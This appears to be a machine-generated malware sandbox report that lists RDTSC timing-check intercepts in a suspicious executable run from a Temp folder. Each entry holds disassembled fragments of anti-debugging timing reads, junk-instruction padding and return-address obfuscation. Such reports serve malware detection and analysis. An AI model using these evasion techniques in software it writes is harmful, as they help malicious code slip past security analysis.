Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C574 second address: 58C57A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C57A second address: 58C57E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C57E second address: 58C597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jng 00007F12E108FDB6h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 591E52 second address: 591E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 591E5B second address: 591E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 591E61 second address: 591E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 591E69 second address: 591E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 591FC6 second address: 591FD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F12E0FAFC76h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 592418 second address: 592420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 592420 second address: 592424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 592424 second address: 59242A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59242A second address: 592447 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F12E0FAFC76h 0x00000009 jg 00007F12E0FAFC76h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F12E0FAFC76h 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 592447 second address: 59245D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jng 00007F12E108FDB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F12E108FDBEh 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 593CBE second address: 593CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595945 second address: 595949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595B14 second address: 595B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595B18 second address: 595B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595B31 second address: 595B51 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F12E0FAFC78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F12E0FAFC7Ah 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595B51 second address: 595B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595D85 second address: 595D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595E17 second address: 595E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595E1B second address: 595E2B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595E2B second address: 595E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F12E108FDB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F12E108FDB6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595E3E second address: 595E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595FD4 second address: 595FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5968C1 second address: 5968C6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 596B7B second address: 596B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 596B7F second address: 596B98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59940B second address: 59940F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59940F second address: 599420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jg 00007F12E0FAFC76h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 599EBD second address: 599EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F12E108FDBCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 599EC9 second address: 599F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F12E0FAFC78h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 0000001Bh 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 add edi, dword ptr [ebp+122D2403h] 0x00000026 movsx edi, si 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F12E0FAFC78h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 push 00000000h 0x00000047 mov edi, dword ptr [ebp+122D2A3Ch] 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f pushad 0x00000050 push edx 0x00000051 pop edx 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 pushad 0x00000056 js 00007F12E0FAFC76h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59A9DA second address: 59A9FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59A9FB second address: 59AA78 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F12E0FAFC78h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F12E0FAFC78h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 add dword ptr [ebp+122D213Bh], esi 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b call 00007F12E0FAFC78h 0x00000050 pop ebx 0x00000051 mov dword ptr [esp+04h], ebx 0x00000055 add dword ptr [esp+04h], 00000014h 0x0000005d inc ebx 0x0000005e push ebx 0x0000005f ret 0x00000060 pop ebx 0x00000061 ret 0x00000062 push eax 0x00000063 pushad 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59B596 second address: 59B5A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F12E108FDBCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59B5A4 second address: 59B620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F12E0FAFC78h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 call 00007F12E0FAFC7Fh 0x00000027 xor edi, dword ptr [ebp+122D1E6Eh] 0x0000002d pop esi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F12E0FAFC78h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a pushad 0x0000004b or bx, 9BDAh 0x00000050 mov cl, bh 0x00000052 popad 0x00000053 push 00000000h 0x00000055 jg 00007F12E0FAFC76h 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F12E0FAFC7Fh 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59C12C second address: 59C132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59C132 second address: 59C136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A09C8 second address: 5A09CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A09CC second address: 5A09D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A09D0 second address: 5A09DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A09DD second address: 5A09E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A09E1 second address: 5A0A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F12E108FDC6h 0x0000000e popad 0x0000000f nop 0x00000010 or di, 43E4h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F12E108FDB8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 cmc 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F12E108FDB8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e jmp 00007F12E108FDBBh 0x00000053 xchg eax, esi 0x00000054 push esi 0x00000055 js 00007F12E108FDB8h 0x0000005b push eax 0x0000005c pop eax 0x0000005d pop esi 0x0000005e push eax 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 jng 00007F12E108FDB6h 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A0A7D second address: 5A0A8B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A2A81 second address: 5A2A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A3BC1 second address: 5A3BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A3BC5 second address: 5A3BDE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jne 00007F12E108FDB8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F12E108FDB6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A5C3A second address: 5A5C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A5C3E second address: 5A5C44 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A7A7F second address: 5A7A92 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F12E0FAFC78h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A7A92 second address: 5A7A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A7A96 second address: 5A7A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A7A9A second address: 5A7AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A9AF0 second address: 5A9AFE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AB9FC second address: 5ABA07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5ABA07 second address: 5ABA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F12E0FAFC7Bh 0x00000011 jmp 00007F12E0FAFC7Bh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5ABA29 second address: 5ABA32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5ABA32 second address: 5ABA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F12E0FAFC7Dh 0x0000000b jmp 00007F12E0FAFC7Eh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AC028 second address: 5AC034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AC034 second address: 5AC039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AC039 second address: 5AC03E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AC03E second address: 5AC0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F12E0FAFC78h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov edi, 67F203DAh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F12E0FAFC78h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 sbb di, F5D7h 0x0000004a xchg eax, esi 0x0000004b jo 00007F12E0FAFC8Ah 0x00000051 pushad 0x00000052 jmp 00007F12E0FAFC80h 0x00000057 push edi 0x00000058 pop edi 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e jne 00007F12E0FAFC76h 0x00000064 jne 00007F12E0FAFC76h 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5B0F7B second address: 5B0F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F12E108FDBFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5B743D second address: 5B7443 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C1EFE second address: 5C1F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F12E108FDC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c ja 00007F12E108FDDEh 0x00000012 jl 00007F12E108FDC2h 0x00000018 jmp 00007F12E108FDBCh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C1F36 second address: 5C1F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C23F4 second address: 5C23FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C26D3 second address: 5C26DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C26DB second address: 5C26FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F12E108FDB6h 0x0000000a jmp 00007F12E108FDBDh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F12E108FDB6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C6CB8 second address: 5C6CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C6CBC second address: 5C6CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C6CC0 second address: 5C6CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F12E0FAFC82h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C6CDA second address: 5C6CE4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F12E108FDBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C6FF6 second address: 5C7034 instructions: 0x00000000 rdtsc 0x00000002 js 00007F12E0FAFC76h 0x00000008 jmp 00007F12E0FAFC85h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F12E0FAFC8Fh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7175 second address: 5C7198 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F12E108FDC3h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7915 second address: 5C7923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F12E0FAFC76h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
